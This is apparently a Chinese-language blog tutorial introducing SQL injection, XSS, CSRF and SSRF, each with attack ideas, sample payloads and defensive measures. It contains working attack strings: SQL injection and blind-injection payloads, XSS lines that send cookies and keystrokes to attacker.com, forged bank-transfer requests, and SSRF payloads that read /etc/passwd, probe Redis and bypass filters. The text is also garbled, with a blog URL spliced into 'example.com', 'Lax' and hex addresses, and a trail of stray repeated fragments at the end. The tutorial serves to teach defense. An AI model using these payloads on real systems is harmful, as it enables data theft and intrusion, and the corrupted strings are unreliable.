初步认识Web安全——四种常见Web攻击手段
初步认识Web安全
一、SQL注入(SQL Injection)
1. 原理与危害
SQL注入是通过用户输入篡改数据库查询逻辑的攻击方式。攻击者通过构造恶意输入,欺骗应用程序执行非预期的SQL命令,可能导致数据泄露、数据篡改、权限提升甚至数据库瘫痪。
核心问题示例:
假设登录功能的SQL语句如下:
SELECT * FROM users WHERE username = '" + user_input + "' AND password = '...'
若用户输入为 admin' --,则语句变为:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
-- 注释了后续条件,攻击者无需密码即可登录管理员账户。
典型危害场景:
- 窃取敏感数据(用户信息、交易记录)。
- 删除或篡改数据库表(如 '; DROP TABLE users; --)。
- 绕过身份验证(如登录、支付流程)。
2. 攻击实现思路
(1)闭合原语句
- 单引号闭合:利用未过滤的引号插入逻辑。
示例:' OR 1=1 -- 使条件永真。
- 数字型注入:无引号闭合,直接拼接数值。
示例:id=1 OR 1=1。
(2)联合查询(UNION攻击)
通过 UNION SELECT 合并查询结果,读取其他表数据。
示例:
' UNION SELECT username, password FROM admins --
前提:需知道列数和数据类型。
(3)盲注攻击(Blind SQLi)
- 布尔盲注:通过页面响应差异推断数据。
示例:' AND (SELECT SUBSTR(password,1,1) FROM users) = 'a' --。
- 时间盲注:利用延时函数判断条件是否成立。
示例:' AND IF(1=1, SLEEP(5), 0) --。
(4)多语句执行
某些数据库(如MySQL)允许分号分隔多语句:
'; UPDATE users SET balance=0 WHERE user='admin'; --
3. 防御策略
(1)参数化查询(预编译)
原理:将SQL代码与数据分离,数据库预编译结构,输入内容仅视为数据。
示例(Java):
String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, userInput);
(2)输入过滤与白名单
- 对特殊字符(如 '、;、--)进行转义或过滤。
- 数字类型输入强制转为数值类型(如 Integer.parseInt(input))。
(3)最小权限原则
数据库账户权限限制:
- 禁用 DROP、FILE 等高危操作。
- 仅授权访问必要表和字段。
(4)ORM框架
使用Hibernate、MyBatis等工具自动处理参数化查询。
示例(Hibernate):
Query query = session.createQuery("FROM User WHERE username = :name", User.class); query.setParameter("name", userInput);
(5)其他措施
- 启用Web应用防火墙(WAF)拦截恶意请求。
- 定期审计数据库日志,监控异常查询。
二、XSS(跨站脚本攻击)
1. 原理与分类
原理:
-
概述
XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。
-
利用方式
利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等。
-
执行方式
用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。
-
攻击对象
客户端攻击,对象大多为用户,网站管理员。还有微博,网页留言板,聊天室等收集用户输入的地方。
-
XSS危害
-
窃取cookie:因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号
-
未授权操作:js特性很强大,黑客会直接代替用户在html进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。
-
传播蠕虫病毒
-
分类:
(1)反射型XSS
- 触发场景:通过URL参数注入,服务器返回含恶意脚本的页面。
- 原理: 用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS。
- 示例: https://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com/search?q=alert(1)
若页面直接显示 q 的值,脚本将被执行。
(2)存储型XSS
- 触发场景:恶意脚本存储到数据库(如论坛评论、用户昵称)。
- 原理:被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息。
- 示例:攻击者在评论区提交:
fetch('https://attacker.com/steal?cookie='+document.cookie)
所有访问该页面的用户Cookie将被窃取。
(3)DOM型XSS
-
触发场景:前端JavaScript动态修改DOM时未转义数据。
-
原理:基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
-
示例:
document.getElementById("output").innerHTML = userInput; // 若userInput含恶意脚本
2. 攻击实现思路
(1)常见Payload
-
窃取Cookie:
document.location='https://attacker.com/?cookie='+document.cookie
-
键盘记录:
document.onkeypress = (e) => fetch('https://attacker.com?key='+e.key);
-
伪装UI:
请输入密码: 提交(2)绕过过滤
- 编码绕过:使用Unicode或HTML实体编码。
示例:
。
- 利用合法标签:如
、 的事件属性。
3. 防御策略
(1)输出转义
根据上下文选择合适的转义规则:
- HTML转义:
→ >," → "。
- JavaScript转义:
使用 JSON.stringify() 或 \https://blog.csdn.net/nobodyy233/article/details/xHH 格式。
(2)内容安全策略(CSP)
通过HTTP头限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
- 作用:禁止加载外部脚本和内联脚本(如 onclick 事件)。
(3)HttpOnly Cookie
设置Cookie时添加 HttpOnly 属性,阻止JavaScript读取:
Set-Cookie: sessionId=abc123; HttpOnly; Secure
(4)输入过滤与富文本处理
-
对富文本使用白名单过滤(如 DOMPurify)。
-
示例:
const cleanHTML = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: ['b', 'i'] });
三、CSRF(跨站请求伪造)
1. 原理与攻击流程
CSRF,全称为Cross - Site Request Forgery,即跨站请求伪造,也被称为“One Click Attack”或者“Session Riding”,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但事实上CSRF与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。攻击者诱导用户在已登录目标网站的情况下,发起非预期的请求(如转账、修改密码)。
攻击流程:
- 用户登录银行网站 bank.com,Cookie保留在浏览器中。
- 用户访问恶意页面,页面自动发送请求至 bank.com/transfer?to=attacker&amount=1000。
- 浏览器自动携带Cookie,请求被视为合法操作。
2. 攻击实现思路
(1)自动提交表单
document.forms[0].submit();
(2)图片标签伪造GET请求
(3)AJAX请求(需跨域支持)
fetch('https://bank.com/transfer', { method: 'POST', body: 'to=attacker&amount=1000', credentials: 'include' // 携带Cookie });
3. 防御策略
(1)CSRF Token
- 服务端生成:每次会话或表单生成随机Token。
- 客户端提交:将Token嵌入表单或请求头。
- 验证流程:服务端比对Token是否匹配。
示例(表单嵌入Token):
(2)SameSite Cookie
设置Cookie的 SameSite 属性,限制跨站请求携带Cookie:
Set-Cookie: sessionId=abc123; SameSite=Lahttps://blog.csdn.net/nobodyy233/article/details/x; Secure
- Strict:完全禁止跨站携带。
- Lahttps://blog.csdn.net/nobodyy233/article/details/x:允许部分安全请求(如导航链接)。
(3)双重验证
- 敏感操作需二次确认(如短信验证码、密码重输)。
- 示例:转账前要求输入支付密码。
四、SSRF(服务端请求伪造)
1. 原理与危害
原理:
SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。
攻击者利用服务器发起未经授权的内部请求,可能导致:
- 访问内网服务(如Redis、数据库)。
- 读取本地文件(file:///etc/passwd)。
- 端口扫描(通过响应时间差异判断端口状态)。
2. 攻击实现思路
1. 探测内网
SSRF漏洞允许攻击者通过目标服务器发起请求,从而探测内网资源。例如:
http://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com/download?url=http://192.168.1.1/admin
- 作用:尝试访问内网IP 192.168.1.1 的 /admin 路径。
- 利用场景:
- 扫描内网开放的Web服务(如管理后台、API接口)。
- 识别内网拓扑结构(通过响应时间或错误信息判断IP是否存在)。
2. 协议利用
SSRF可通过多种协议实现不同攻击效果:
-
file:// 协议读取本地文件
http://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com/download?url=file:///etc/passwd
- 作用:读取服务器本地的敏感文件(如 /etc/passwd、/etc/shadow)。
- 限制:需服务器支持 file:// 协议。
-
dict:// 协议探测端口或服务
http://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com/download?url=dict://127.0.0.1:6379/info
- 作用:探测目标端口(如Redis的6379)是否开放,甚至执行命令(如Redis未授权访问)。
- 其他协议:
- gopher://:可构造任意TCP请求(攻击MySQL、Redis等)。
- sftp://、ldap://:探测或利用特定服务。
3. 绕过过滤
防御措施可能限制某些输入格式,但可通过以下方法绕过:
-
IP进制编码转换
-
127.0.0.1 → 十进制 2130706433
http://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com/download?url=http://2130706433/admin
-
其他编码:十六进制(0https://blog.csdn.net/nobodyy233/article/details/x7f000001)、八进制、混合格式(如 127.1)。
-
域名重定向
-
利用短域名服务(如 bit.ly)或可控域名跳转到内网地址:
http://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com/download?url=http://bit.ly/https://blog.csdn.net/nobodyy233/article/details/xyz123
(假设 bit.ly/https://blog.csdn.net/nobodyy233/article/details/xyz123 指向 192.168.1.1)
-
其他绕过技巧
- URL解析混淆:
- 使用 @ 分隔:http://ehttps://blog.csdn.net/nobodyy233/article/details/xample.com@192.168.1.1
- 重复斜杠:http:///192.168.1.1
- DNS解析绕过:
- 绑定域名解析到内网IP(如 attacker.com 的A记录指向 192.168.1.1)。
3. 防御策略
(1)输入过滤与协议限制
- 禁用非常规协议(如 file://、gopher://)。
- 正则匹配黑名单IP(如 ^10\.|192\.168\.)。
(2)访问控制
- 仅允许访问公网域名或白名单IP。
- 使用代理服务器隔离内网访问。
(3)限制响应信息
- 禁止返回详细错误信息(如端口状态、文件内容)。
- 示例:统一返回“请求失败”页面。
- 绑定域名解析到内网IP(如 attacker.com 的A记录指向 192.168.1.1)。
- URL解析混淆:
-
-
-
-
-
- 作用:禁止加载外部脚本和内联脚本(如 onclick 事件)。
- HTML转义:
- 编码绕过:使用Unicode或HTML实体编码。
-
-
-
- 布尔盲注:通过页面响应差异推断数据。
- 单引号闭合:利用未过滤的引号插入逻辑。